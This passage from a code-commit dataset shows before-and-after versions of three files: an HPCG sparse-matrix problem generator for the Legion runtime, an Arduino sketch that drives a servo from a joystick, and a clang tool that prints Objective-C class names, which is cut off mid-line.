\"--> Approximate Generate Problem Memory Footprint=\"\n             << pMemInMB << \" MB\" << endl;\n    }\n    char *nonzerosInRow = A.nonzerosInRow->data();\n    assert(nonzerosInRow);\n    \/\/ Interpreted as 2D array\n    Array2D<global_int_t> mtxIndG(\n        localNumberOfRows, numberOfNonzerosPerRow, A.mtxIndG->data()\n    );\n    \/\/ Interpreted as 2D array\n    Array2D<local_int_t> mtxIndL(\n        localNumberOfRows, numberOfNonzerosPerRow, A.mtxIndL->data()\n    );\n    \/\/ Interpreted as 2D array\n    Array2D<floatType> matrixValues(\n        localNumberOfRows, numberOfNonzerosPerRow, A.matrixValues->data()\n    );\n    \/\/\n    floatType *matrixDiagonal = A.matrixDiagonal->data();\n    \/\/\n    global_int_t *localToGlobalMap = A.localToGlobalMap->data();\n    \/\/\n    floatType *bv      = nullptr;\n    floatType *xv      = nullptr;\n    floatType *xexactv = nullptr;\n    if (b != 0) {\n        bv = b->data(); \/\/ Only compute exact solution if requested\n        assert(bv);\n    }\n    if (x != 0) {\n        xv = x->data(); \/\/ Only compute exact solution if requested\n        assert(xv);\n    }\n    if (xexact != 0) {\n        xexactv = xexact->data(); \/\/ Only compute exact solution if requested\n        assert(xexactv);\n    }\n#if 0 \/\/ TODO\n    \/\/!< global-to-local mapping\n    auto &globalToLocalMap = A.globalToLocalMap;\n#endif\n    \/\/\n    global_int_t localNumberOfNonzeros = 0;\n    \/\/\n    for (local_int_t iz=0; iz<nz; iz++) {\n        global_int_t giz = ipz*nz+iz;\n        for (local_int_t iy=0; iy<ny; iy++) {\n            global_int_t giy = ipy*ny+iy;\n            for (local_int_t ix=0; ix<nx; ix++) {\n                global_int_t gix = ipx*nx+ix;\n                local_int_t currentLocalRow = iz*nx*ny+iy*nx+ix;\n                global_int_t currentGlobalRow = giz*gnx*gny+giy*gnx+gix;\n#if 0 \/\/ TODO\n                globalToLocalMap[currentGlobalRow] = currentLocalRow;\n#endif\n                localToGlobalMap[currentLocalRow] = currentGlobalRow;\n                char numberOfNonzerosInRow = 0;\n                \/\/ Current index in current row\n                global_int_t currentIndexG = 0;\n                local_int_t currentNonZeroElemIndex = 0;\n                for (int sz=-1; sz<=1; sz++) {\n                    if (giz+sz>-1 && giz+sz<gnz) {\n                        for (int sy=-1; sy<=1; sy++) {\n                            if (giy+sy>-1 && giy+sy<gny) {\n                                for (int sx=-1; sx<=1; sx++) {\n                                    if (gix+sx>-1 && gix+sx<gnx) {\n                                        global_int_t curcol = currentGlobalRow\n                                                            + sz*gnx*gny\n                                                            + sy*gnx+sx;\n                                        if (curcol==currentGlobalRow) {\n                                            matrixDiagonal[currentLocalRow] = 26.0;\n                                            matrixValues(currentLocalRow, currentNonZeroElemIndex) = 26.0;\n                                        } else {\n                                            matrixValues(currentLocalRow, currentNonZeroElemIndex) = -1.0;\n                                        }\n                                        currentNonZeroElemIndex++;\n                                        mtxIndG(currentLocalRow, currentIndexG++) = curcol;\n                                        numberOfNonzerosInRow++;\n                                    } \/\/ end x bounds test\n                                } \/\/ end sx loop\n                            } \/\/ end y bounds test\n                        } \/\/ end sy loop\n                    } \/\/ end z bounds test\n                } \/\/ end sz loop\n                nonzerosInRow[currentLocalRow] = numberOfNonzerosInRow;\n                localNumberOfNonzeros += numberOfNonzerosInRow;\n                if (b!=0) {\n                    bv[currentLocalRow] = 26.0\n                                        - ((double)(numberOfNonzerosInRow-1));\n                }\n                if (x!=0) {\n                    xv[currentLocalRow] = 0.0;\n                }\n                if (xexact!=0) {\n                    xexactv[currentLocalRow] = 1.0;\n                }\n            } \/\/ end ix loop\n        } \/\/ end iy loop\n    } \/\/ end iz loop\n\n    SparseMatrixScalars *Asclrs   = A.sclrs->data();\n    Asclrs->totalNumberOfRows     = totalNumberOfRows;\n    Asclrs->localNumberOfRows     = localNumberOfRows;\n    Asclrs->localNumberOfColumns  = localNumberOfRows;\n    Asclrs->localNumberOfNonzeros = localNumberOfNonzeros;\n    Asclrs->totalNumberOfNonzeros = getTotalNumberOfNonZeros(A, ctx, runtime);\n    \/\/ If this assert fails, it most likely means that the global_int_t is\n    \/\/ set to int and should be set to long long This assert is usually the\n    \/\/ first to fail as problem size increases beyond the 32-bit integer\n    \/\/ range.  Throw an exception of the number of nonzeros is less than\n    \/\/ zero (can happen if int overflow)\n    assert(Asclrs->totalNumberOfNonzeros > 0);\n}\n<commit_msg>Minor cleanup.<commit_after>\/**\n * Copyright (c) 2016-2017 Los Alamos National Security, LLC\n *                         All rights reserved.\n *\n * Redistribution and use in source and binary forms, with or without\n * modification, are permitted provided that the following conditions are met:\n *\n * 1. Redistributions of source code must retain the above copyright notice,\n * this list of conditions and the following disclaimer.\n *\n * 2. Redistributions in binary form must reproduce the above copyright notice,\n * this list of conditions and the following disclaimer in the documentation\n * and\/or other materials provided with the distribution.\n *\n * THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS \"AS\n * IS\" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO,\n * THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR\n * PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT OWNER OR\n * CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL,\n * EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO,\n * PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR\n * PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF\n * LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING\n * NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS\n * SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.\n *\n * LA-CC 10-123\n *\/\n\n\/\/@HEADER\n\/\/ ***************************************************\n\/\/\n\/\/ HPCG: High Performance Conjugate Gradient Benchmark\n\/\/\n\/\/ Contact:\n\/\/ Michael A. Heroux ( maherou@sandia.gov)\n\/\/ Jack Dongarra     (dongarra@eecs.utk.edu)\n\/\/ Piotr Luszczek    (luszczek@eecs.utk.edu)\n\/\/\n\/\/ ***************************************************\n\/\/@HEADER\n\n\/*!\n @file GenerateProblem.hpp\n\n HPCG routine\n *\/\n\n#pragma once\n\n#include \"hpcg.hpp\"\n\n#include \"LegionStuff.hpp\"\n#include \"LegionItems.hpp\"\n#include \"LegionArrays.hpp\"\n#include \"LegionMatrices.hpp\"\n#include \"ReduceSum.hpp\"\n\n#include <map>\n#include <sstream>\n#include <cassert>\n\ninline void\nPopulateGlobalToLocalMap(\n    SparseMatrix &A,\n    LegionRuntime::HighLevel::Context ctx,\n    LegionRuntime::HighLevel::Runtime *runtime\n) {\n    const Geometry *const Ageom = A.geom->data();\n    \/\/ Make local copies of geometry information.  Use global_int_t since the\n    \/\/ RHS products in the calculations below may result in global range values.\n    const global_int_t nx  = Ageom->nx;\n    const global_int_t ny  = Ageom->ny;\n    const global_int_t nz  = Ageom->nz;\n    const global_int_t npx = Ageom->npx;\n    const global_int_t npy = Ageom->npy;\n    const global_int_t ipx = Ageom->ipx;\n    const global_int_t ipy = Ageom->ipy;\n    const global_int_t ipz = Ageom->ipz;\n    const global_int_t gnx = nx * npx;\n    const global_int_t gny = ny * npy;\n    \/\/!< global-to-local mapping\n    auto &globalToLocalMap = A.globalToLocalMap;\n    \/\/\n    for (local_int_t iz = 0; iz < nz; iz++) {\n        global_int_t giz = ipz*nz+iz;\n        for (local_int_t iy = 0; iy < ny; iy++) {\n            global_int_t giy = ipy*ny+iy;\n            for (local_int_t ix = 0; ix < nx; ix++) {\n                global_int_t gix = ipx*nx+ix;\n                local_int_t currentLocalRow = iz*nx*ny+iy*nx+ix;\n                global_int_t currentGlobalRow = giz*gnx*gny+giy*gnx+gix;\n                globalToLocalMap[currentGlobalRow] = currentLocalRow;\n            }\n        }\n    }\n}\n\n\/**\n * Tally total number of non-zeros in simulation.\n *\/\nstatic inline global_int_t\ngetTotalNumberOfNonZeros(\n    SparseMatrix &A,\n    LegionRuntime::HighLevel::Context ctx,\n    LegionRuntime::HighLevel::Runtime *runtime\n) {\n    DynamicCollective dcAllreduceSum = *A.dcAllreduceSum->data();\n    \/\/\n    TaskLauncher tlLocalNZ(LOCAL_NONZEROS_TID, TaskArgument(NULL, 0));\n    tlLocalNZ.add_region_requirement(\n        RegionRequirement(A.sclrs->logicalRegion, RO_E, A.sclrs->logicalRegion)\n    ).add_field(A.sclrs->getFieldID());\n    \/\/\n    Future future = runtime->execute_task(ctx, tlLocalNZ);\n    \/\/\n    runtime->defer_dynamic_collective_arrival(ctx, dcAllreduceSum, future);\n    dcAllreduceSum = runtime->advance_dynamic_collective(ctx, dcAllreduceSum);\n    \/\/\n    Future fSum = runtime->get_dynamic_collective_result(ctx, dcAllreduceSum);\n\n    return fSum.get<global_int_t>();\n}\n\n\/*!\n    Reference version of GenerateProblem to generate the sparse matrix, right\n    hand side, initial guess, and exact solution.\n\n    @param[in]  A        The known system matrix\n    @param[inout] b      The newly allocated and generated right hand side\n    vector (if b!=0 on entry)\n    @param[inout] x      The newly allocated solution vector with entries set to\n    0.0 (if x!=0 on entry)\n    @param[inout] xexact The newly allocated solution vector with entries set to\n    the exact solution (if the xexact!=0 non-zero on entry)\n\n    @see GenerateGeometry\n*\/\ninline void\nGenerateProblem(\n    SparseMatrix &A,\n    Array<floatType> *b,\n    Array<floatType> *x,\n    Array<floatType> *xexact,\n    LegionRuntime::HighLevel::Context ctx,\n    LegionRuntime::HighLevel::Runtime *runtime\n) {\n    using namespace std;\n    const Geometry *const Ageom = A.geom->data();\n    \/\/ Make local copies of geometry information.  Use global_int_t since the\n    \/\/ RHS products in the calculations below may result in global range values.\n    const global_int_t nx  = Ageom->nx;\n    const global_int_t ny  = Ageom->ny;\n    const global_int_t nz  = Ageom->nz;\n    const global_int_t npx = Ageom->npx;\n    const global_int_t npy = Ageom->npy;\n    const global_int_t npz = Ageom->npz;\n    const global_int_t ipx = Ageom->ipx;\n    const global_int_t ipy = Ageom->ipy;\n    const global_int_t ipz = Ageom->ipz;\n    const global_int_t gnx = nx * npx;\n    const global_int_t gny = ny * npy;\n    const global_int_t gnz = nz * npz;\n    \/\/ This is the size of our subblock.\n    const local_int_t localNumberOfRows = nx * ny * nz;\n    \/\/ If this assert fails, it most likely means that the local_int_t is set to\n    \/\/ int and should be set to.  Throw an exception of the number of rows is\n    \/\/ less than zero (can happen if int overflow)long long\n    assert(localNumberOfRows > 0);\n    \/\/ We are approximating a 27-point finite element\/volume\/difference 3D\n    \/\/ stencil\n    const local_int_t numberOfNonzerosPerRow = Ageom->stencilSize;\n\n    \/\/ Total number of grid points in mesh\n    const global_int_t totalNumberOfRows = ((global_int_t)localNumberOfRows)\n                                         * ((global_int_t)Ageom->size);\n    \/\/ If this assert fails, it most likely means that the global_int_t is set\n    \/\/ to int and should be set to long long\n    assert(totalNumberOfRows > 0);\n    \/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n    \/\/ Allocate arrays\n    \/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n    if (Ageom->rank == 0) {\n        const size_t mn = localNumberOfRows * numberOfNonzerosPerRow;\n        const size_t sparseMatMemInB = (\n            sizeof(char)         * localNumberOfRows \/\/nonzerosInRow\n          + sizeof(global_int_t) * mn                \/\/mtxIndG\n          + sizeof(local_int_t)  * mn                \/\/mtxIndL\n          + sizeof(floatType)    * mn                \/\/matrixValues\n          + sizeof(floatType)    * localNumberOfRows \/\/matrixDiagonal\n          + sizeof(global_int_t) * localNumberOfRows \/\/localToGlobalMap\n        ) * Ageom->size;\n        \/\/\n        const size_t vectorsMemInB = (\n            (b      ? sizeof(floatType) * localNumberOfRows : 0)\n          + (x      ? sizeof(floatType) * localNumberOfRows : 0)\n          + (xexact ? sizeof(floatType) * localNumberOfRows : 0)\n        ) * Ageom->size;\n        \/\/\n        const size_t pMemInB = sparseMatMemInB + vectorsMemInB;\n        const double pMemInMB = pMemInB\/1024.0\/1024.0;\n        cout << \"--> Approximate Generate Problem Memory Footprint=\"\n             << pMemInMB << \" MB\" << endl;\n    }\n    char *nonzerosInRow = A.nonzerosInRow->data();\n    assert(nonzerosInRow);\n    \/\/ Interpreted as 2D array\n    Array2D<global_int_t> mtxIndG(\n        localNumberOfRows, numberOfNonzerosPerRow, A.mtxIndG->data()\n    );\n    \/\/ Interpreted as 2D array\n    Array2D<local_int_t> mtxIndL(\n        localNumberOfRows, numberOfNonzerosPerRow, A.mtxIndL->data()\n    );\n    \/\/ Interpreted as 2D array\n    Array2D<floatType> matrixValues(\n        localNumberOfRows, numberOfNonzerosPerRow, A.matrixValues->data()\n    );\n    \/\/\n    floatType *matrixDiagonal = A.matrixDiagonal->data();\n    \/\/\n    global_int_t *localToGlobalMap = A.localToGlobalMap->data();\n    \/\/\n    floatType *bv      = nullptr;\n    floatType *xv      = nullptr;\n    floatType *xexactv = nullptr;\n    if (b != 0) {\n        bv = b->data(); \/\/ Only compute exact solution if requested\n        assert(bv);\n    }\n    if (x != 0) {\n        xv = x->data(); \/\/ Only compute exact solution if requested\n        assert(xv);\n    }\n    if (xexact != 0) {\n        xexactv = xexact->data(); \/\/ Only compute exact solution if requested\n        assert(xexactv);\n    }\n    \/\/\n    global_int_t localNumberOfNonzeros = 0;\n    \/\/\n    for (local_int_t iz=0; iz<nz; iz++) {\n        global_int_t giz = ipz*nz+iz;\n        for (local_int_t iy=0; iy<ny; iy++) {\n            global_int_t giy = ipy*ny+iy;\n            for (local_int_t ix=0; ix<nx; ix++) {\n                global_int_t gix = ipx*nx+ix;\n                local_int_t currentLocalRow = iz*nx*ny+iy*nx+ix;\n                global_int_t currentGlobalRow = giz*gnx*gny+giy*gnx+gix;\n                localToGlobalMap[currentLocalRow] = currentGlobalRow;\n                char numberOfNonzerosInRow = 0;\n                \/\/ Current index in current row\n                global_int_t currentIndexG = 0;\n                local_int_t currentNonZeroElemIndex = 0;\n                for (int sz=-1; sz<=1; sz++) {\n                    if (giz+sz>-1 && giz+sz<gnz) {\n                        for (int sy=-1; sy<=1; sy++) {\n                            if (giy+sy>-1 && giy+sy<gny) {\n                                for (int sx=-1; sx<=1; sx++) {\n                                    if (gix+sx>-1 && gix+sx<gnx) {\n                                        global_int_t curcol = currentGlobalRow\n                                                            + sz*gnx*gny\n                                                            + sy*gnx+sx;\n                                        if (curcol==currentGlobalRow) {\n                                            matrixDiagonal[currentLocalRow] = 26.0;\n                                            matrixValues(currentLocalRow, currentNonZeroElemIndex) = 26.0;\n                                        } else {\n                                            matrixValues(currentLocalRow, currentNonZeroElemIndex) = -1.0;\n                                        }\n                                        currentNonZeroElemIndex++;\n                                        mtxIndG(currentLocalRow, currentIndexG++) = curcol;\n                                        numberOfNonzerosInRow++;\n                                    } \/\/ end x bounds test\n                                } \/\/ end sx loop\n                            } \/\/ end y bounds test\n                        } \/\/ end sy loop\n                    } \/\/ end z bounds test\n                } \/\/ end sz loop\n                nonzerosInRow[currentLocalRow] = numberOfNonzerosInRow;\n                localNumberOfNonzeros += numberOfNonzerosInRow;\n                if (b!=0) {\n                    bv[currentLocalRow] = 26.0\n                                        - ((double)(numberOfNonzerosInRow-1));\n                }\n                if (x!=0) {\n                    xv[currentLocalRow] = 0.0;\n                }\n                if (xexact!=0) {\n                    xexactv[currentLocalRow] = 1.0;\n                }\n            } \/\/ end ix loop\n        } \/\/ end iy loop\n    } \/\/ end iz loop\n\n    SparseMatrixScalars *Asclrs   = A.sclrs->data();\n    Asclrs->totalNumberOfRows     = totalNumberOfRows;\n    Asclrs->localNumberOfRows     = localNumberOfRows;\n    Asclrs->localNumberOfColumns  = localNumberOfRows;\n    Asclrs->localNumberOfNonzeros = localNumberOfNonzeros;\n    Asclrs->totalNumberOfNonzeros = getTotalNumberOfNonZeros(A, ctx, runtime);\n    \/\/ If this assert fails, it most likely means that the global_int_t is\n    \/\/ set to int and should be set to long long This assert is usually the\n    \/\/ first to fail as problem size increases beyond the 32-bit integer\n    \/\/ range.  Throw an exception of the number of nonzeros is less than\n    \/\/ zero (can happen if int overflow)\n    assert(Asclrs->totalNumberOfNonzeros > 0);\n}\n<|endoftext|>"}
{"text":"<commit_before>\/****************************************************************\n * Servo                                                        *\n * read joystick data, normalize, write to servo                *\n *                                                              *\n * known issues: if it won't work, open serial monitor then try *\n *                                                              *\n * @author: Navid Kalaei <navidkalaie@gmail.com>                *\n * @github: @navid-kalaei                                       *\n * @license: MIT                                                *\n ****************************************************************\/\n\n#include \"Arduino.h\"\n#include \"Servo.h\"\n\n\/\/ time to wait in millis\n#define DELAY_TIME 200\n\n#define SERIAL_RATE 9600\n#define JOY_PIN_X 0\n#define JOY_PIN_Y 1\n\n#define SERVO_PIN 9\n\n\/\/ boundries of analogRead()\n#define ANALOG_READ_LOW 0\n#define ANALOG_READ_HIGH 1023\n\n\/\/ boundries for normalizing analogRead() from -90 to +90\n#define NORMALIZE_BOUND_LOW -90\n#define NORMALIZE_BOUND_HIGH 90\n\/\/ use this number to shift normalize value be between 0 to 180\n#define NORMALIZE_ORIGIN 90\n\n\/\/ the value that joystick has at first\n\/\/ they're usefull in normalizing\nshort int joyXOrigin = 0;\n\nshort int joyXOriginNormalized = 0;\n\nshort int joyValueX = 0;\n\nshort int joyValueXNormalized = 0;\n\nServo myServo;\n\nint myServoPos = 0;\n\nshort int normalize(short int value){\n  \/*\n   * a wrapper for map built-in function\n   *\n   * @param value: is within analogRead boundries\n   * @return: normalize value within normalize boundries\n   *\/\n\n   \/\/ https:\/\/www.arduino.cc\/en\/Reference\/Map\n   \/\/ map(value, fromLow, fromHigh, toLow, toHigh)\n   return map(value,\n    ANALOG_READ_LOW, ANALOG_READ_HIGH,\n    NORMALIZE_BOUND_LOW, NORMALIZE_BOUND_HIGH);\n}\n\nvoid checkBoundries(short int &value){\n  \/*\n   * check if value is between normalized boudries or reset it to a boundry\n   *\n   * @param value: to check\n   * @return: void\n   *\/\n\n   if(value > NORMALIZE_BOUND_HIGH){\n     value = NORMALIZE_BOUND_HIGH;\n   }\n   else if(value < NORMALIZE_BOUND_LOW){\n     value = NORMALIZE_BOUND_LOW;\n   }\n}\n\nvoid setup(){\n  myServo.attach(SERVO_PIN);\n\n  \/\/ initialize joystick pins\n  pinMode(JOY_PIN_X, INPUT);\n\n  joyXOrigin = analogRead(JOY_PIN_X);\n\n  joyXOriginNormalized = normalize(joyXOrigin);\n\n  \/\/ wait until Serail is not available\n  while(!Serial);\n  Serial.begin(SERIAL_RATE);\n}\n\nvoid loop(){\n  joyValueX = analogRead(JOY_PIN_X);\n  joyValueXNormalized = normalize(joyValueX) - joyXOriginNormalized;\n  checkBoundries(joyValueXNormalized);\n\n  myServoPos = joyValueXNormalized + NORMALIZE_ORIGIN;\n  myServo.write(myServoPos);\n  \/\/Serial.println(myServoPos);\n\n  \/\/ delay(DELAY_TIME);\n}\n<commit_msg>port servo to user custom_joystick<commit_after>\/****************************************************************\n * Servo                                                        *\n * read joystick data, normalize, write to servo                *\n *                                                              *\n * known issues: if it won't work, open serial monitor then try *\n *                                                              *\n * @author: Navid Kalaei <navidkalaie@gmail.com>                *\n * @github: @navid-kalaei                                       *\n * @license: MIT                                                *\n ****************************************************************\/\n\n#include \"Arduino.h\"\n#include \"Servo.h\"\n#include \"custom_joystick.h\"\n\n\/\/ time to wait in millis\n#define DELAY_TIME 200\n\n#define SERIAL_RATE 9600\n#define JOY_PIN_X 0\n#define JOY_PIN_Y 1\n\n#define SERVO_PIN 9\n\n\/\/ servo can turn from 0 to 180 so it's origin is 90\n#define SERVO_ORIGIN 90\n\ncustom_joystick joy;\n\nServo myServo;\n\nint myServoPos = 0;\n\nvoid setup(){\n  joy.attach_pin_x(JOY_PIN_X);\n  joy.attach_pin_y(JOY_PIN_Y);\n  joy.calibrate();\n\n  myServo.attach(SERVO_PIN);\n\n  \/\/ wait until Serail is not available\n  \/\/ while(!Serial);\n  \/\/ Serial.begin(SERIAL_RATE);\n}\n\nvoid loop(){\n  myServoPos = joy.get_calibrated_x() + SERVO_ORIGIN;\n  myServo.write(myServoPos);\n\n  \/\/Serial.println(myServoPos);\n  \/\/delay(DELAY_TIME);\n}\n<|endoftext|>"}
{"text":"<commit_before>\/\/ This code is licensed under the New BSD license.\n\/\/ See LICENSE.txt for more details.\n#include <iostream>\n\n#include \"llvm\/Support\/raw_ostream.h\"\n#include \"llvm\/Support\/Host.h\"\n\n#include \"clang\/Frontend\/DiagnosticOptions.h\"\n#include \"clang\/Frontend\/TextDiagnosticPrinter.h\"\n\n#include \"clang\/Basic\/LangOptions.h\"\n#include \"clang\/Basic\/FileSystemOptions.h\"\n\n#include \"clang\/Basic\/SourceManager.h\"\n#include \"clang\/Lex\/HeaderSearch.h\"\n#include \"clang\/Basic\/FileManager.h\"\n\n#include \"clang\/Frontend\/HeaderSearchOptions.h\"\n#include \"clang\/Frontend\/Utils.h\"\n\n#include \"clang\/Basic\/TargetOptions.h\"\n#include \"clang\/Basic\/TargetInfo.h\"\n\n#include \"clang\/Lex\/Preprocessor.h\"\n#include \"clang\/Frontend\/PreprocessorOptions.h\"\n#include \"clang\/Frontend\/FrontendOptions.h\"\n\n#include \"clang\/Basic\/IdentifierTable.h\"\n#include \"clang\/Basic\/Builtins.h\"\n\n#include \"clang\/AST\/ASTContext.h\"\n#include \"clang\/AST\/ASTConsumer.h\"\n#include \"clang\/Sema\/Sema.h\"\n#include \"clang\/AST\/DeclBase.h\"\n#include \"clang\/AST\/Type.h\"\n#include \"clang\/AST\/Decl.h\"\n#include \"clang\/AST\/DeclObjC.h\"\n#include \"clang\/Sema\/Lookup.h\"\n#include \"clang\/Sema\/Ownership.h\"\n#include \"clang\/AST\/DeclGroup.h\"\n\n#include \"clang\/Parse\/Parser.h\"\n\n#include \"clang\/Parse\/ParseAST.h\"\n\nclass MyASTConsumer : public clang::ASTConsumer\n{\npublic:\n  clang::SourceManager *aSourceManager;\n  MyASTConsumer(clang::SourceManager *sourceManager) : clang::ASTConsumer(), aSourceManager(sourceManager) { }\n    virtual ~MyASTConsumer() { }\n\n    virtual void HandleTopLevelDecl( clang::DeclGroupRef d)\n    {\n        static int count = 0;\n        clang::DeclGroupRef::iterator it;\n        for( it = d.begin(); it != d.end(); it++)\n        {\n            count++;\n            clang::ObjCInterfaceDecl *vdc = dyn_cast<clang::ObjCInterfaceDecl>(*it);\n            if (!vdc)\n            {\n              continue;\n            }\n\n            std::cout << \"Classname: \" << vdc->getNameAsString() << \" LineNum: \" << aSourceManager->getInstantiationLineNumber(vdc->getClassLoc()) << \" Filename: \" <<  aSourceManager->getBufferName(vdc->getClassLoc()) << std::endl;\n        }\n    }\n};\n\nint main()\n{\n\tclang::DiagnosticOptions diagnosticOptions;\n\tclang::TextDiagnosticPrinter *pTextDiagnosticPrinter =\n\t\tnew clang::TextDiagnosticPrinter(\n\t\t\tllvm::outs(),\n\t\t\tdiagnosticOptions);\n\tllvm::IntrusiveRefCntPtr<clang::DiagnosticIDs> pDiagIDs;\n\tclang::Diagnostic diagnostic(pDiagIDs, pTextDiagnosticPrinter);\n\n\tclang::LangOptions languageOptions;\n        languageOptions.ObjC1 = 1;\n        languageOptions.ObjC2 = 1;\n\tclang::FileSystemOptions fileSystemOptions;\n\tclang::FileManager fileManager(fileSystemOptions);\n\n\tclang::SourceManager sourceManager(\n        diagnostic,\n        fileManager);\n\tclang::HeaderSearch headerSearch(fileManager);\n\n\tclang::HeaderSearchOptions headerSearchOptions;\n\t\/\/ <Warning!!> -- Platform Specific Code lives here\n\t\/\/ This depends on A) that you're running linux and\n\t\/\/ B) that you have the same GCC LIBs installed that\n\t\/\/ I do. \n\t\/\/ Search through Clang itself for something like this,\n\t\/\/ go on, you won't find it. The reason why is Clang\n\t\/\/ has its own versions of std* which are installed under \n\t\/\/ \/usr\/local\/lib\/clang\/<version>\/include\/\n\t\/\/ See somewhere around Driver.cpp:77 to see Clang adding\n\t\/\/ its version of the headers to its include path.\n\theaderSearchOptions.AddPath(\"\/usr\/include\/linux\",\n\t\t\tclang::frontend::Angled,\n\t\t\tfalse,\n\t\t\tfalse,\n\t\t\tfalse);\n\n\n\n\n\theaderSearchOptions.AddPath(\"\/usr\/include\/c++\/4.4\/tr1\",\n\t\t\tclang::frontend::Angled,\n\t\t\tfalse,\n\t\t\tfalse,\n\t\t\tfalse);\n\theaderSearchOptions.AddPath(\"\/usr\/include\/c++\/4.4\",\n\t\t\tclang::frontend::Angled,\n\t\t\tfalse,\n\t\t\tfalse,\n\t\t\tfalse);\n\t\/\/ <\/Warning!!> -- End of Platform Specific Code\n\n\tclang::TargetOptions targetOptions;\n\ttargetOptions.Triple = llvm::sys::getHostTriple();\n\n\tclang::TargetInfo *pTargetInfo = \n\t\tclang::TargetInfo::CreateTargetInfo(\n\t\t\tdiagnostic,\n\t\t\ttargetOptions);\n\n\tclang::ApplyHeaderSearchOptions(\n\t\theaderSearch,\n\t\theaderSearchOptions,\n\t\tlanguageOptions,\n\t\tpTargetInfo->getTriple());\n\n\tclang::Preprocessor preprocessor(\n\t\tdiagnostic,\n\t\tlanguageOptions,\n\t\t*pTargetInfo,\n\t\tsourceManager,\n\t\theaderSearch);\n\n\tclang::PreprocessorOptions preprocessorOptions;\n\tclang::FrontendOptions frontendOptions;\n\tclang::InitializePreprocessor(\n\t\tpreprocessor,\n\t\tpreprocessorOptions,\n\t\theaderSearchOptions,\n\t\tfrontendOptions);\n\t\t\n\tconst clang::FileEntry *pFile = fileManager.getFile(\n        \"DCILatLon.m\");\n\tsourceManager.createMainFileID(pFile);\n\t\/\/preprocessor.EnterMainSourceFile();\n\n    const clang::TargetInfo &targetInfo = *pTargetInfo;\n\n    clang::IdentifierTable identifierTable(languageOptions);\n    clang::SelectorTable selectorTable;\n\n    clang::Builtin::Context builtinContext(targetInfo);\n    clang::ASTContext astContext(\n        languageOptions,\n        sourceManager,\n        targetInfo,\n        identifierTable,\n        selectorTable,\n        builtinContext,\n        0 \/* size_reserve*\/);\n   \/\/ clang::ASTConsumer astConsumer;\n    MyASTConsumer astConsumer(&sourceManager);\n\n    clang::Sema sema(\n        preprocessor,\n        astContext,\n        astConsumer);\n    sema.Initialize();\n\n   \/\/MySemanticAnalisys mySema( preprocessor, astContext, astConsumer);\n\n    \/\/clang::Parser parser( preprocessor, sema);\n    \/\/parser.ParseTranslationUnit();\n    pTextDiagnosticPrinter->BeginSourceFile(languageOptions, &preprocessor);\n    clang::ParseAST(preprocessor, &astConsumer, astContext); \n    pTextDiagnosticPrinter->EndSourceFile();\n\treturn 0;\n}\n<commit_msg>Labeled column and file name<commit_after>\/\/ This code is licensed under the New BSD license.\n\/\/ See LICENSE.txt for more details.\n#include <iostream>\n\n#include \"llvm\/Support\/raw_ostream.h\"\n#include \"llvm\/Support\/Host.h\"\n\n#include \"clang\/Frontend\/DiagnosticOptions.h\"\n#include \"clang\/Frontend\/TextDiagnosticPrinter.h\"\n\n#include \"clang\/Basic\/LangOptions.h\"\n#include \"clang\/Basic\/FileSystemOptions.h\"\n\n#include \"clang\/Basic\/SourceManager.h\"\n#include \"clang\/Lex\/HeaderSearch.h\"\n#include \"clang\/Basic\/FileManager.h\"\n\n#include \"clang\/Frontend\/HeaderSearchOptions.h\"\n#include \"clang\/Frontend\/Utils.h\"\n\n#include \"clang\/Basic\/TargetOptions.h\"\n#include \"clang\/Basic\/TargetInfo.h\"\n\n#include \"clang\/Lex\/Preprocessor.h\"\n#include \"clang\/Frontend\/PreprocessorOptions.h\"\n#include \"clang\/Frontend\/FrontendOptions.h\"\n\n#include \"clang\/Basic\/IdentifierTable.h\"\n#include \"clang\/Basic\/Builtins.h\"\n\n#include \"clang\/AST\/ASTContext.h\"\n#include \"clang\/AST\/ASTConsumer.h\"\n#include \"clang\/Sema\/Sema.h\"\n#include \"clang\/AST\/DeclBase.h\"\n#include \"clang\/AST\/Type.h\"\n#include \"clang\/AST\/Decl.h\"\n#include \"clang\/AST\/DeclObjC.h\"\n#include \"clang\/Sema\/Lookup.h\"\n#include \"clang\/Sema\/Ownership.h\"\n#include \"clang\/AST\/DeclGroup.h\"\n\n#include \"clang\/Parse\/Parser.h\"\n\n#include \"clang\/Parse\/ParseAST.h\"\n\nclass MyASTConsumer : public clang::ASTConsumer\n{\npublic:\n  clang::SourceManager *aSourceManager;\n  MyASTConsumer(clang::SourceManager *sourceManager) : clang::ASTConsumer(), aSourceManager(sourceManager) { }\n    virtual ~MyASTConsumer() { }\n\n    virtual void HandleTopLevelDecl( clang::DeclGroupRef d)\n    {\n        static int count = 0;\n        clang::DeclGroupRef::iterator it;\n        for( it = d.begin(); it != d.end(); it++)\n        {\n            count++;\n            clang::ObjCInterfaceDecl *vdc = dyn_cast<clang::ObjCInterfaceDecl>(*it);\n            if (!vdc)\n            {\n              continue;\n            }\n\n            std::cout << \"Classname: \" << vdc->getNameAsString() << \" LineNum: \" << aSourceManager->getInstantiationLineNumber(vdc->getClassLoc()) << \" Column: \"<< 